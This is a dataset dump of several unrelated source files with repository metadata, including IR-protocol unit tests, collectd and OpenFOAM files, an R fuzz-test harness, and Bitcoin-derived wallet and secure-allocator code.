"m750s750m750s750m750s2150m750s750m750s750m750s750m750s750m750s2150"
"m750s33850",
irsend.outputStr());
}
// Test sending an atypical data size.
TEST(TestSendWhynter, SendUnusualSize) {
IRsendTest irsend(4);
irsend.begin();
irsend.reset();
irsend.sendWhynter(0x0, 8);
EXPECT_EQ(
"f38000d50"
"m750s750m2850s2850"
"m750s750m750s750m750s750m750s750m750s750m750s750m750s750m750s750"
"m750s88050",
irsend.outputStr());
irsend.reset();
irsend.sendWhynter(0x1234567890ABCDEF, 64);
EXPECT_EQ(
"f38000d50"
"m750s750m2850s2850"
"m750s750m750s750m750s750m750s2150m750s750m750s750m750s2150m750s750"
"m750s750m750s750m750s2150m750s2150m750s750m750s2150m750s750m750s750"
"m750s750m750s2150m750s750m750s2150m750s750m750s2150m750s2150m750s750"
"m750s750m750s2150m750s2150m750s2150m750s2150m750s750m750s750m750s750"
"m750s2150m750s750m750s750m750s2150m750s750m750s750m750s750m750s750"
"m750s2150m750s750m750s2150m750s750m750s2150m750s750m750s2150m750s2150"
"m750s2150m750s2150m750s750m750s750m750s2150m750s2150m750s750m750s2150"
"m750s2150m750s2150m750s2150m750s750m750s2150m750s2150m750s2150m750s2150"
"m750s12200",
irsend.outputStr());
}
// Tests for decodeWhynter().
// Decode normal Whynter messages.
TEST(TestDecodeWhynter, NormalDecodeWithStrict) {
IRsendTest irsend(4);
IRrecv irrecv(4);
irsend.begin();
// Normal Whynter 32-bit message.
irsend.reset();
irsend.sendWhynter(0x87654321);
irsend.makeDecodeResult();
ASSERT_TRUE(irrecv.decode(&irsend.capture));
EXPECT_EQ(WHYNTER, irsend.capture.decode_type);
EXPECT_EQ(kWhynterBits, irsend.capture.bits);
EXPECT_EQ(0x87654321, irsend.capture.value);
EXPECT_EQ(0x0, irsend.capture.address);
EXPECT_EQ(0x0, irsend.capture.command);
EXPECT_FALSE(irsend.capture.repeat);
}
// Decode normal repeated Whynter messages.
TEST(TestDecodeWhynter, NormalDecodeWithRepeatAndStrict) {
IRsendTest irsend(4);
IRrecv irrecv(4);
irsend.begin();
// Normal Whynter 32-bit message with 2 repeats.
irsend.reset();
irsend.sendWhynter(0x87654321, kWhynterBits, 2);
irsend.makeDecodeResult();
ASSERT_TRUE(irrecv.decode(&irsend.capture));
EXPECT_EQ(WHYNTER, irsend.capture.decode_type);
EXPECT_EQ(kWhynterBits, irsend.capture.bits);
EXPECT_EQ(0x87654321, irsend.capture.value);
EXPECT_FALSE(irsend.capture.repeat);
irsend.makeDecodeResult(2 * kWhynterBits + 6);
ASSERT_TRUE(irrecv.decode(&irsend.capture));
EXPECT_EQ(WHYNTER, irsend.capture.decode_type);
EXPECT_EQ(kWhynterBits, irsend.capture.bits);
EXPECT_EQ(0x87654321, irsend.capture.value);
irsend.makeDecodeResult(2 * (2 * kWhynterBits + 6));
ASSERT_TRUE(irrecv.decode(&irsend.capture));
EXPECT_EQ(WHYNTER, irsend.capture.decode_type);
EXPECT_EQ(kWhynterBits, irsend.capture.bits);
EXPECT_EQ(0x87654321, irsend.capture.value);
}
// Decode unsupported Whynter messages.
TEST(TestDecodeWhynter, DecodeWithNonStrictSizes) {
IRsendTest irsend(4);
IRrecv irrecv(4);
irsend.begin();
irsend.reset();
irsend.sendWhynter(0x12, 8); // Illegal sized Whynter 8-bit message.
irsend.makeDecodeResult();
// Should fail with strict on.
ASSERT_FALSE(irrecv.decodeWhynter(&irsend.capture, kWhynterBits, true));
ASSERT_FALSE(irrecv.decodeWhynter(&irsend.capture, 8, true));
// Should pass if strict off.
ASSERT_TRUE(irrecv.decodeWhynter(&irsend.capture, 8, false));
EXPECT_EQ(WHYNTER, irsend.capture.decode_type);
EXPECT_EQ(8, irsend.capture.bits);
EXPECT_EQ(0x12, irsend.capture.value);
EXPECT_EQ(0x0, irsend.capture.address);
EXPECT_EQ(0x0, irsend.capture.command);
irsend.reset();
irsend.sendWhynter(0x1234567890, 40); // Illegal size Whynter 40-bit message.
irsend.makeDecodeResult();
// Shouldn't pass with strict when we ask for less bits than we got.
ASSERT_FALSE(irrecv.decodeWhynter(&irsend.capture, kWhynterBits, true));
irsend.makeDecodeResult();
// Should fail with strict when we ask for the wrong bit size.
ASSERT_FALSE(irrecv.decodeWhynter(&irsend.capture, 40, true));
// Should pass if strict off.
ASSERT_TRUE(irrecv.decodeWhynter(&irsend.capture, 40, false));
EXPECT_EQ(WHYNTER, irsend.capture.decode_type);
EXPECT_EQ(40, irsend.capture.bits);
EXPECT_EQ(0x1234567890, irsend.capture.value);
EXPECT_EQ(0x0, irsend.capture.address);
EXPECT_EQ(0x0, irsend.capture.command);
}
// Decode (non-standard) 64-bit messages.
TEST(TestDecodeWhynter, Decode64BitMessages) {
IRsendTest irsend(4);
IRrecv irrecv(4);
irsend.begin();
irsend.reset();
// Illegal size Whynter 64-bit message.
irsend.sendWhynter(0xFFFFFFFFFFFFFFFF, 64);
irsend.makeDecodeResult();
// Should work with a 'normal' match (not strict)
ASSERT_TRUE(irrecv.decodeWhynter(&irsend.capture, 64, false));
EXPECT_EQ(WHYNTER, irsend.capture.decode_type);
EXPECT_EQ(64, irsend.capture.bits);
EXPECT_EQ(0xFFFFFFFFFFFFFFFF, irsend.capture.value);
EXPECT_EQ(0x0, irsend.capture.address);
EXPECT_EQ(0x0, irsend.capture.command);
}
// Fail to decode a non-Whynter example via GlobalCache
TEST(TestDecodeWhynter, FailToDecodeNonWhynterExample) {
IRsendTest irsend(4);
IRrecv irrecv(4);
irsend.begin();
irsend.reset();
// Modified a few entries to unexpected values, based on previous test case.
uint16_t gc_test[39] = {38000, 1, 1, 322, 162, 20, 61, 20, 61, 20,
20, 20, 20, 20, 20, 20, 127, 20, 61, 9,
20, 20, 61, 20, 20, 20, 61, 20, 61, 20,
61, 20, 20, 20, 20, 20, 20, 20, 884};
irsend.sendGC(gc_test, 39);
irsend.makeDecodeResult();
ASSERT_FALSE(irrecv.decodeWhynter(&irsend.capture));
ASSERT_FALSE(irrecv.decodeWhynter(&irsend.capture, kWhynterBits, false));
}
| [
"qiujiongtao@163.com"
] | qiujiongtao@163.com |
25fbdbf37e4909f098de3cb55d5ae434acd9be82 | 0eff74b05b60098333ad66cf801bdd93becc9ea4 | /second/download/collectd/gumtree/collectd_repos_function_2035_collectd-5.5.3.cpp | 1947f6a9810bd9c31f99712560f5cccdccd616a9 | [] | no_license | niuxu18/logTracker-old | 97543445ea7e414ed40bdc681239365d33418975 | f2b060f13a0295387fe02187543db124916eb446 | refs/heads/master | 2021-09-13T21:39:37.686481 | 2017-12-11T03:36:34 | 2017-12-11T03:36:34 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,642 | cpp | static int lu_add_by_plugin (by_type_entry_t *by_type, /* {{{ */
user_class_list_t *user_class_list)
{
user_class_list_t *ptr = NULL;
identifier_match_t const *match = &user_class_list->entry.match;
/* Lookup user_class_list from the per-plugin structure. If this is the first
* user_class to be added, the block returns immediately. Otherwise they will
* set "ptr" to non-NULL. */
if (match->plugin.is_regex)
{
if (by_type->wildcard_plugin_list == NULL)
{
by_type->wildcard_plugin_list = user_class_list;
return (0);
}
ptr = by_type->wildcard_plugin_list;
} /* if (plugin is wildcard) */
else /* (plugin is not wildcard) */
{
int status;
status = c_avl_get (by_type->by_plugin_tree,
match->plugin.str, (void *) &ptr);
if (status != 0) /* plugin not yet in tree */
{
char *plugin_copy = strdup (match->plugin.str);
if (plugin_copy == NULL)
{
ERROR ("utils_vl_lookup: strdup failed.");
sfree (user_class_list);
return (ENOMEM);
}
status = c_avl_insert (by_type->by_plugin_tree,
plugin_copy, user_class_list);
if (status != 0)
{
ERROR ("utils_vl_lookup: c_avl_insert(\"%s\") failed with status %i.",
plugin_copy, status);
sfree (plugin_copy);
sfree (user_class_list);
return (status);
}
else
{
return (0);
}
} /* if (plugin not yet in tree) */
} /* if (plugin is not wildcard) */
assert (ptr != NULL);
while (ptr->next != NULL)
ptr = ptr->next;
ptr->next = user_class_list;
return (0);
} | [
"993273596@qq.com"
] | 993273596@qq.com |
5b98fc5c017e7a3a23334d43abac3c11816b3287 | aa37f9872425824d5e264bd28e0a50cbbdc840d0 | /Simulación/Validación/0.475/uniform/time | 0f52434eefaecfb69afa5d5ab3f765ff1a633535 | [] | no_license | jdarguello/MSc-Thesis | 8c2048d572a1b16a649edd9a41958c93409fff98 | 5348e134045c4e752c757b6f8fd86e555d3613bd | refs/heads/master | 2023-05-04T12:25:16.921722 | 2021-05-29T15:08:05 | 2021-05-29T15:08:05 | 302,655,527 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 841 | /*--------------------------------*- C++ -*----------------------------------*\
========= |
\\ / F ield | OpenFOAM: The Open Source CFD Toolbox
\\ / O peration | Website: https://openfoam.org
\\ / A nd | Version: 8
\\/ M anipulation |
\*---------------------------------------------------------------------------*/
FoamFile
{
version 2.0;
format ascii;
class dictionary;
location "0.475/uniform";
object time;
}
// * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * //
value 0.475000000000000033;
name "0.475";
index 6100;
deltaT 9.92063e-05;
deltaT0 9.92063e-05;
// ************************************************************************* //
| [
"juandavidarguello@gmail.com"
] | juandavidarguello@gmail.com | |
adb2f65b76f45c674b38313f6e45fdf196d6d273 | 72d9009d19e92b721d5cc0e8f8045e1145921130 | /medfate/inst/testfiles/infiltrationRepartition/libFuzzer_infiltrationRepartition/infiltrationRepartition_DeepState_TestHarness.cpp | 9185d4a6455383cb40680822335f5b4b2c430566 | [] | no_license | akhikolla/TestedPackages-NoIssues | be46c49c0836b3f0cf60e247087089868adf7a62 | eb8d498cc132def615c090941bc172e17fdce267 | refs/heads/master | 2023-03-01T09:10:17.227119 | 2021-01-25T19:44:44 | 2021-01-25T19:44:44 | 332,027,727 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 2,832 | cpp | // AUTOMATICALLY GENERATED BY RCPPDEEPSTATE PLEASE DO NOT EDIT BY HAND, INSTEAD EDIT
// infiltrationRepartition_DeepState_TestHarness_generation.cpp and infiltrationRepartition_DeepState_TestHarness_checks.cpp
#include <fstream>
#include <RInside.h>
#include <iostream>
#include <RcppDeepState.h>
#include <qs.h>
#include <DeepState.hpp>
NumericVector infiltrationRepartition(double I, NumericVector dVec, NumericVector macro, double a, double b);
TEST(medfate_deepstate_test,infiltrationRepartition_test){
static int rinside_flag = 0;
if(rinside_flag == 0)
{
rinside_flag = 1;
RInside R;
} std::time_t current_timestamp = std::time(0);
std::cout << "input starts" << std::endl;
NumericVector I(1);
I[0] = RcppDeepState_double();
std::string I_t = "/home/akhila/fuzzer_packages/fuzzedpackages/medfate/inst/testfiles/infiltrationRepartition/libFuzzer_infiltrationRepartition/libfuzzer_inputs/" + std::to_string(current_timestamp) +
"_I.qs";
qs::c_qsave(I,I_t,
"high", "zstd", 1, 15, true, 1);
std::cout << "I values: "<< I << std::endl;
NumericVector dVec = RcppDeepState_NumericVector();
std::string dVec_t = "/home/akhila/fuzzer_packages/fuzzedpackages/medfate/inst/testfiles/infiltrationRepartition/libFuzzer_infiltrationRepartition/libfuzzer_inputs/" + std::to_string(current_timestamp) +
"_dVec.qs";
qs::c_qsave(dVec,dVec_t,
"high", "zstd", 1, 15, true, 1);
std::cout << "dVec values: "<< dVec << std::endl;
NumericVector macro = RcppDeepState_NumericVector();
std::string macro_t = "/home/akhila/fuzzer_packages/fuzzedpackages/medfate/inst/testfiles/infiltrationRepartition/libFuzzer_infiltrationRepartition/libfuzzer_inputs/" + std::to_string(current_timestamp) +
"_macro.qs";
qs::c_qsave(macro,macro_t,
"high", "zstd", 1, 15, true, 1);
std::cout << "macro values: "<< macro << std::endl;
NumericVector a(1);
a[0] = RcppDeepState_double();
std::string a_t = "/home/akhila/fuzzer_packages/fuzzedpackages/medfate/inst/testfiles/infiltrationRepartition/libFuzzer_infiltrationRepartition/libfuzzer_inputs/" + std::to_string(current_timestamp) +
"_a.qs";
qs::c_qsave(a,a_t,
"high", "zstd", 1, 15, true, 1);
std::cout << "a values: "<< a << std::endl;
NumericVector b(1);
b[0] = RcppDeepState_double();
std::string b_t = "/home/akhila/fuzzer_packages/fuzzedpackages/medfate/inst/testfiles/infiltrationRepartition/libFuzzer_infiltrationRepartition/libfuzzer_inputs/" + std::to_string(current_timestamp) +
"_b.qs";
qs::c_qsave(b,b_t,
"high", "zstd", 1, 15, true, 1);
std::cout << "b values: "<< b << std::endl;
std::cout << "input ends" << std::endl;
try{
infiltrationRepartition(I[0],dVec,macro,a[0],b[0]);
}
catch(Rcpp::exception& e){
std::cout<<"Exception Handled"<<std::endl;
}
}
| [
"akhilakollasrinu424jf@gmail.com"
] | akhilakollasrinu424jf@gmail.com |
fd78986aad1d3fff22495fc54c975e8f9d0e2c14 | 5b6e0e5bbf643ac19c2f10d5cb2e1b0c0016dada | /src/qt/bitcoinunits.cpp | 7fbabc819d6ffb3b061a2bff7f0d7736964342f0 | [
"MIT"
] | permissive | MotoAcidic/snode-coin | 94bcc3f9a9387e909dcd9423da56cffcea747c40 | e2149f66efeed0a71753b964ea720d2b2f6a5a55 | refs/heads/master | 2020-04-19T21:58:03.823394 | 2019-01-26T21:53:05 | 2019-01-26T21:53:05 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 8,138 | cpp | // Copyright (c) 2011-2014 The Bitcoin developers
// Copyright (c) 2014-2015 The Dash developers
// Copyright (c) 2015-2017 The PIVX developers
// Copyright (c) 2018 The Snodecoin developers
// Distributed under the MIT/X11 software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "bitcoinunits.h"
#include "chainparams.h"
#include "primitives/transaction.h"
#include <QSettings>
#include <QStringList>
BitcoinUnits::BitcoinUnits(QObject* parent) : QAbstractListModel(parent),
unitlist(availableUnits())
{
}
QList<BitcoinUnits::Unit> BitcoinUnits::availableUnits()
{
QList<BitcoinUnits::Unit> unitlist;
unitlist.append(SND);
unitlist.append(mSND);
unitlist.append(uSND);
return unitlist;
}
bool BitcoinUnits::valid(int unit)
{
switch (unit) {
case SND:
case mSND:
case uSND:
return true;
default:
return false;
}
}
QString BitcoinUnits::id(int unit)
{
switch (unit) {
case SND:
return QString("snodecoin");
case mSND:
return QString("msnodecoin");
case uSND:
return QString::fromUtf8("usnodecoin");
default:
return QString("???");
}
}
QString BitcoinUnits::name(int unit)
{
if (Params().NetworkID() == CBaseChainParams::MAIN) {
switch (unit) {
case SND:
return QString("SND");
case mSND:
return QString("mSND");
case uSND:
return QString::fromUtf8("μSND");
default:
return QString("???");
}
} else {
switch (unit) {
case SND:
return QString("tSND");
case mSND:
return QString("mtSND");
case uSND:
return QString::fromUtf8("μtSND");
default:
return QString("???");
}
}
}
QString BitcoinUnits::description(int unit)
{
if (Params().NetworkID() == CBaseChainParams::MAIN) {
switch (unit) {
case SND:
return QString("SND");
case mSND:
return QString("Milli-SND (1 / 1" THIN_SP_UTF8 "000)");
case uSND:
return QString("Micro-SND (1 / 1" THIN_SP_UTF8 "000" THIN_SP_UTF8 "000)");
default:
return QString("???");
}
} else {
switch (unit) {
case SND:
return QString("TestSNDs");
case mSND:
return QString("Milli-TestSND (1 / 1" THIN_SP_UTF8 "000)");
case uSND:
return QString("Micro-TestSND (1 / 1" THIN_SP_UTF8 "000" THIN_SP_UTF8 "000)");
default:
return QString("???");
}
}
}
qint64 BitcoinUnits::factor(int unit)
{
switch (unit) {
case SND:
return COIN;
case mSND:
return COIN / 1000;
case uSND:
return COIN / 1000000;
default:
return COIN;
}
}
int BitcoinUnits::decimals(int unit)
{
switch (unit) {
case SND:
return 6;
case mSND:
return 3;
case uSND:
return 0;
default:
return 0;
}
}
QString BitcoinUnits::format(int unit, const CAmount& nIn, bool fPlus, SeparatorStyle separators)
{
// Note: not using straight sprintf here because we do NOT want
// localized number formatting.
if (!valid(unit))
return QString(); // Refuse to format invalid unit
qint64 n = (qint64)nIn;
qint64 coin = factor(unit);
int num_decimals = decimals(unit);
qint64 n_abs = (n > 0 ? n : -n);
qint64 quotient = n_abs / coin;
qint64 remainder = n_abs % coin;
QString quotient_str = QString::number(quotient);
QString remainder_str = QString::number(remainder).rightJustified(num_decimals, '0');
// Use SI-style thin space separators as these are locale independent and can't be
// confused with the decimal marker.
QChar thin_sp(THIN_SP_CP);
int q_size = quotient_str.size();
if (separators == separatorAlways || (separators == separatorStandard && q_size > 4))
for (int i = 3; i < q_size; i += 3)
quotient_str.insert(q_size - i, thin_sp);
if (n < 0)
quotient_str.insert(0, '-');
else if (fPlus && n > 0)
quotient_str.insert(0, '+');
if (num_decimals <= 0)
return quotient_str;
return quotient_str + QString(".") + remainder_str;
}
// TODO: Review all remaining calls to BitcoinUnits::formatWithUnit to
// TODO: determine whether the output is used in a plain text context
// TODO: or an HTML context (and replace with
// TODO: BtcoinUnits::formatHtmlWithUnit in the latter case). Hopefully
// TODO: there aren't instances where the result could be used in
// TODO: either context.
// NOTE: Using formatWithUnit in an HTML context risks wrapping
// quantities at the thousands separator. More subtly, it also results
// in a standard space rather than a thin space, due to a bug in Qt's
// XML whitespace canonicalisation
//
// Please take care to use formatHtmlWithUnit instead, when
// appropriate.
QString BitcoinUnits::formatWithUnit(int unit, const CAmount& amount, bool plussign, SeparatorStyle separators)
{
return format(unit, amount, plussign, separators) + QString(" ") + name(unit);
}
QString BitcoinUnits::formatHtmlWithUnit(int unit, const CAmount& amount, bool plussign, SeparatorStyle separators)
{
QString str(formatWithUnit(unit, amount, plussign, separators));
str.replace(QChar(THIN_SP_CP), QString(THIN_SP_HTML));
return QString("<span style='white-space: nowrap;'>%1</span>").arg(str);
}
QString BitcoinUnits::floorWithUnit(int unit, const CAmount& amount, bool plussign, SeparatorStyle separators)
{
QSettings settings;
int digits = settings.value("digits").toInt();
QString result = format(unit, amount, plussign, separators);
if (decimals(unit) > digits) result.chop(decimals(unit) - digits);
return result + QString(" ") + name(unit);
}
QString BitcoinUnits::floorHtmlWithUnit(int unit, const CAmount& amount, bool plussign, SeparatorStyle separators)
{
QString str(floorWithUnit(unit, amount, plussign, separators));
str.replace(QChar(THIN_SP_CP), QString(THIN_SP_HTML));
return QString("<span style='white-space: nowrap;'>%1</span>").arg(str);
}
bool BitcoinUnits::parse(int unit, const QString& value, CAmount* val_out)
{
if (!valid(unit) || value.isEmpty())
return false; // Refuse to parse invalid unit or empty string
int num_decimals = decimals(unit);
// Ignore spaces and thin spaces when parsing
QStringList parts = removeSpaces(value).split(".");
if (parts.size() > 2) {
return false; // More than one dot
}
QString whole = parts[0];
QString decimals;
if (parts.size() > 1) {
decimals = parts[1];
}
if (decimals.size() > num_decimals) {
return false; // Exceeds max precision
}
bool ok = false;
QString str = whole + decimals.leftJustified(num_decimals, '0');
if (str.size() > 18) {
return false; // Longer numbers will exceed 63 bits
}
CAmount retvalue(str.toLongLong(&ok));
if (val_out) {
*val_out = retvalue;
}
return ok;
}
QString BitcoinUnits::getAmountColumnTitle(int unit)
{
QString amountTitle = QObject::tr("Amount");
if (BitcoinUnits::valid(unit)) {
amountTitle += " (" + BitcoinUnits::name(unit) + ")";
}
return amountTitle;
}
int BitcoinUnits::rowCount(const QModelIndex& parent) const
{
Q_UNUSED(parent);
return unitlist.size();
}
QVariant BitcoinUnits::data(const QModelIndex& index, int role) const
{
int row = index.row();
if (row >= 0 && row < unitlist.size()) {
Unit unit = unitlist.at(row);
switch (role) {
case Qt::EditRole:
case Qt::DisplayRole:
return QVariant(name(unit));
case Qt::ToolTipRole:
return QVariant(description(unit));
case UnitRole:
return QVariant(static_cast<int>(unit));
}
}
return QVariant();
}
CAmount BitcoinUnits::maxMoney()
{
return Params().MaxMoneyOut();
}
| [
"dev@snode.co"
] | dev@snode.co |
e1b13daec5f1728a7db46511ccc9a61279db6876 | 65994076bf578c04345a42f7a9305ee09a757289 | /BastionRPitems/Chiemsee/dunkel/config.cpp | 1c0a71c0935b1f5967c0e6dee6db1a9e7cc47ebc | [] | no_license | Bastion-RP/BastionMap | 7de6643b15e2e0e50fb2a4beb86c82f81dfa269b | 19d631053a7cafab5264a4e2eeab61fcdf6a4257 | refs/heads/main | 2023-06-30T00:45:26.220540 | 2021-07-31T18:07:14 | 2021-07-31T18:07:14 | 361,940,333 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 726 | cpp | ////////////////////////////////////////////////////////////////////
//DeRap: P:\BastionRPitems\Chiemsee\dunkel\config.bin
//Produced from mikero's Dos Tools Dll version 7.70
//https://mikero.bytex.digital/Downloads
//'now' is Mon Aug 10 21:24:24 2020 : 'file' last modified on Mon Aug 10 21:24:23 2020
////////////////////////////////////////////////////////////////////
#define _ARMA_
class CfgPatches
{
class Ludwig_OBJCET
{
units[] = {"napfz_silo_01"};
weapons[] = {};
requiredVersion = 0.1;
requiredAddons[] = {"DZ_Data","DZ_Surfaces"};
};
};
class CfgVehicles
{
class HouseNoDestruct;
class napfz_silo_01: HouseNoDestruct
{
scope = 2;
model = "BastionRPitems\Chiemsee\dunkel\dunkel03.p3d";
};
};
| [
"55332345+bastionrp@users.noreply.github.com"
] | 55332345+bastionrp@users.noreply.github.com |
9c78a1700ad454402e9b6b3d36b528f62a461b01 | 0359624faa7deb6e2310624acdd1749415af3355 | /AnimationPoc/main.cpp | 0e045c29d0f7cf2a9c1cda300c95c96588c55959 | [] | no_license | GabrielOarga/qt-workshop | 9c21cfb2ba9cddf8884c93adc2c3898416e0d261 | a4fdcef5324d1a33946b137ee921ed94c5d4f66b | refs/heads/master | 2020-03-07T05:21:35.354197 | 2018-11-08T14:22:54 | 2018-11-08T14:22:54 | 127,293,584 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 495 | cpp | #include <QGuiApplication>
#include <QQmlApplicationEngine>
//include view controllers to register
#include "ViewControllers/ViewController.hpp"
int main(int argc, char *argv[])
{
QGuiApplication app(argc, argv);
//Register types
qmlRegisterType<ViewController>("animation_poc", 1, 0, "ViewController");
QQmlApplicationEngine engine;
engine.load(QUrl(QStringLiteral("qrc:/main.qml")));
if (engine.rootObjects().isEmpty())
return -1;
return app.exec();
}
| [
"13384992+GabrielOarga@users.noreply.github.com"
] | 13384992+GabrielOarga@users.noreply.github.com |
ed401b617e3cada5f8c3f6410a2a1e7eb1137c9f | 00e9f1042f486c17ac18d9622d7c142b5d3aa79c | /src/allocators.h | 6a59284f7e13c0e2bf49e4202ab72b36b20eafde | [
"MIT"
] | permissive | ultcoin/UltimateCoin | 6d7768b1d84696df8515bb4d7ab0d0df2b994179 | 5ab5e8337778abe4f8f4917f8a53643e20b88011 | refs/heads/master | 2016-09-05T15:48:07.960617 | 2014-06-03T02:34:15 | 2014-06-03T02:34:15 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 9,166 | h | // Copyright (c) 2009-2010 Satoshi Nakamoto
// Copyright (c) 2009-2012 The Bitcoin developers
// Copyright (c) 2013-2014 Dogecoin Developers
// Copyright (c) 2013-2014 Team Mooncoin
// Copyright (c) 2014 UltimateCoin Developers and Research Group
// Distributed under the MIT/X11 software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#ifndef BITCOIN_ALLOCATORS_H
#define BITCOIN_ALLOCATORS_H
#include <string.h>
#include <string>
#include <boost/thread/mutex.hpp>
#include <map>
#include <openssl/crypto.h> // for OPENSSL_cleanse()
#ifdef WIN32
#ifdef _WIN32_WINNT
#undef _WIN32_WINNT
#endif
#define _WIN32_WINNT 0x0501
#define WIN32_LEAN_AND_MEAN 1
#ifndef NOMINMAX
#define NOMINMAX
#endif
#include <windows.h>
// This is used to attempt to keep keying material out of swap
// Note that VirtualLock does not provide this as a guarantee on Windows,
// but, in practice, memory that has been VirtualLock'd almost never gets written to
// the pagefile except in rare circumstances where memory is extremely low.
#else
#include <sys/mman.h>
#include <limits.h> // for PAGESIZE
#include <unistd.h> // for sysconf
#endif
/**
* Thread-safe class to keep track of locked (ie, non-swappable) memory pages.
*
* Memory locks do not stack, that is, pages which have been locked several times by calls to mlock()
* will be unlocked by a single call to munlock(). This can result in keying material ending up in swap when
* those functions are used naively. This class simulates stacking memory locks by keeping a counter per page.
*
* @note By using a map from each page base address to lock count, this class is optimized for
* small objects that span up to a few pages, mostly smaller than a page. To support large allocations,
* something like an interval tree would be the preferred data structure.
*/
template <class Locker> class LockedPageManagerBase
{
public:
LockedPageManagerBase(size_t page_size):
page_size(page_size)
{
// Determine bitmask for extracting page from address
assert(!(page_size & (page_size-1))); // size must be power of two
page_mask = ~(page_size - 1);
}
// For all pages in affected range, increase lock count
void LockRange(void *p, size_t size)
{
boost::mutex::scoped_lock lock(mutex);
if(!size) return;
const size_t base_addr = reinterpret_cast<size_t>(p);
const size_t start_page = base_addr & page_mask;
const size_t end_page = (base_addr + size - 1) & page_mask;
for(size_t page = start_page; page <= end_page; page += page_size)
{
Histogram::iterator it = histogram.find(page);
if(it == histogram.end()) // Newly locked page
{
locker.Lock(reinterpret_cast<void*>(page), page_size);
histogram.insert(std::make_pair(page, 1));
}
else // Page was already locked; increase counter
{
it->second += 1;
}
}
}
// For all pages in affected range, decrease lock count
void UnlockRange(void *p, size_t size)
{
boost::mutex::scoped_lock lock(mutex);
if(!size) return;
const size_t base_addr = reinterpret_cast<size_t>(p);
const size_t start_page = base_addr & page_mask;
const size_t end_page = (base_addr + size - 1) & page_mask;
for(size_t page = start_page; page <= end_page; page += page_size)
{
Histogram::iterator it = histogram.find(page);
assert(it != histogram.end()); // Cannot unlock an area that was not locked
// Decrease counter for page, when it is zero, the page will be unlocked
it->second -= 1;
if(it->second == 0) // Nothing on the page anymore that keeps it locked
{
// Unlock page and remove the count from histogram
locker.Unlock(reinterpret_cast<void*>(page), page_size);
histogram.erase(it);
}
}
}
// Get number of locked pages for diagnostics
int GetLockedPageCount()
{
boost::mutex::scoped_lock lock(mutex);
return histogram.size();
}
private:
Locker locker;
boost::mutex mutex;
size_t page_size, page_mask;
// map of page base address to lock count
typedef std::map<size_t,int> Histogram;
Histogram histogram;
};
/** Determine system page size in bytes */
static inline size_t GetSystemPageSize()
{
size_t page_size;
#if defined(WIN32)
SYSTEM_INFO sSysInfo;
GetSystemInfo(&sSysInfo);
page_size = sSysInfo.dwPageSize;
#elif defined(PAGESIZE) // defined in limits.h
page_size = PAGESIZE;
#else // assume some POSIX OS
page_size = sysconf(_SC_PAGESIZE);
#endif
return page_size;
}
/**
* OS-dependent memory page locking/unlocking.
* Defined as policy class to make stubbing for test possible.
*/
class MemoryPageLocker
{
public:
/** Lock memory pages.
* addr and len must be a multiple of the system page size
*/
bool Lock(const void *addr, size_t len)
{
#ifdef WIN32
return VirtualLock(const_cast<void*>(addr), len);
#else
return mlock(addr, len) == 0;
#endif
}
/** Unlock memory pages.
* addr and len must be a multiple of the system page size
*/
bool Unlock(const void *addr, size_t len)
{
#ifdef WIN32
return VirtualUnlock(const_cast<void*>(addr), len);
#else
return munlock(addr, len) == 0;
#endif
}
};
/**
* Singleton class to keep track of locked (ie, non-swappable) memory pages, for use in
* std::allocator templates.
*/
class LockedPageManager: public LockedPageManagerBase<MemoryPageLocker>
{
public:
static LockedPageManager instance; // instantiated in util.cpp
private:
LockedPageManager():
LockedPageManagerBase<MemoryPageLocker>(GetSystemPageSize())
{}
};
//
// Functions for directly locking/unlocking memory objects.
// Intended for non-dynamically allocated structures.
//
template<typename T> void LockObject(const T &t) {
LockedPageManager::instance.LockRange((void*)(&t), sizeof(T));
}
template<typename T> void UnlockObject(const T &t) {
OPENSSL_cleanse((void*)(&t), sizeof(T));
LockedPageManager::instance.UnlockRange((void*)(&t), sizeof(T));
}
//
// Allocator that locks its contents from being paged
// out of memory and clears its contents before deletion.
//
template<typename T>
struct secure_allocator : public std::allocator<T>
{
// MSVC8 default copy constructor is broken
typedef std::allocator<T> base;
typedef typename base::size_type size_type;
typedef typename base::difference_type difference_type;
typedef typename base::pointer pointer;
typedef typename base::const_pointer const_pointer;
typedef typename base::reference reference;
typedef typename base::const_reference const_reference;
typedef typename base::value_type value_type;
secure_allocator() throw() {}
secure_allocator(const secure_allocator& a) throw() : base(a) {}
template <typename U>
secure_allocator(const secure_allocator<U>& a) throw() : base(a) {}
~secure_allocator() throw() {}
template<typename _Other> struct rebind
{ typedef secure_allocator<_Other> other; };
T* allocate(std::size_t n, const void *hint = 0)
{
T *p;
p = std::allocator<T>::allocate(n, hint);
if (p != NULL)
LockedPageManager::instance.LockRange(p, sizeof(T) * n);
return p;
}
void deallocate(T* p, std::size_t n)
{
if (p != NULL)
{
OPENSSL_cleanse(p, sizeof(T) * n);
LockedPageManager::instance.UnlockRange(p, sizeof(T) * n);
}
std::allocator<T>::deallocate(p, n);
}
};
//
// Allocator that clears its contents before deletion.
//
template<typename T>
struct zero_after_free_allocator : public std::allocator<T>
{
// MSVC8 default copy constructor is broken
typedef std::allocator<T> base;
typedef typename base::size_type size_type;
typedef typename base::difference_type difference_type;
typedef typename base::pointer pointer;
typedef typename base::const_pointer const_pointer;
typedef typename base::reference reference;
typedef typename base::const_reference const_reference;
typedef typename base::value_type value_type;
zero_after_free_allocator() throw() {}
zero_after_free_allocator(const zero_after_free_allocator& a) throw() : base(a) {}
template <typename U>
zero_after_free_allocator(const zero_after_free_allocator<U>& a) throw() : base(a) {}
~zero_after_free_allocator() throw() {}
template<typename _Other> struct rebind
{ typedef zero_after_free_allocator<_Other> other; };
void deallocate(T* p, std::size_t n)
{
if (p != NULL)
OPENSSL_cleanse(p, sizeof(T) * n);
std::allocator<T>::deallocate(p, n);
}
};
// This is exactly like std::string, but with a custom allocator.
typedef std::basic_string<char, std::char_traits<char>, secure_allocator<char> > SecureString;
#endif
| [
"coinexpert@gmx.com"
] | coinexpert@gmx.com |
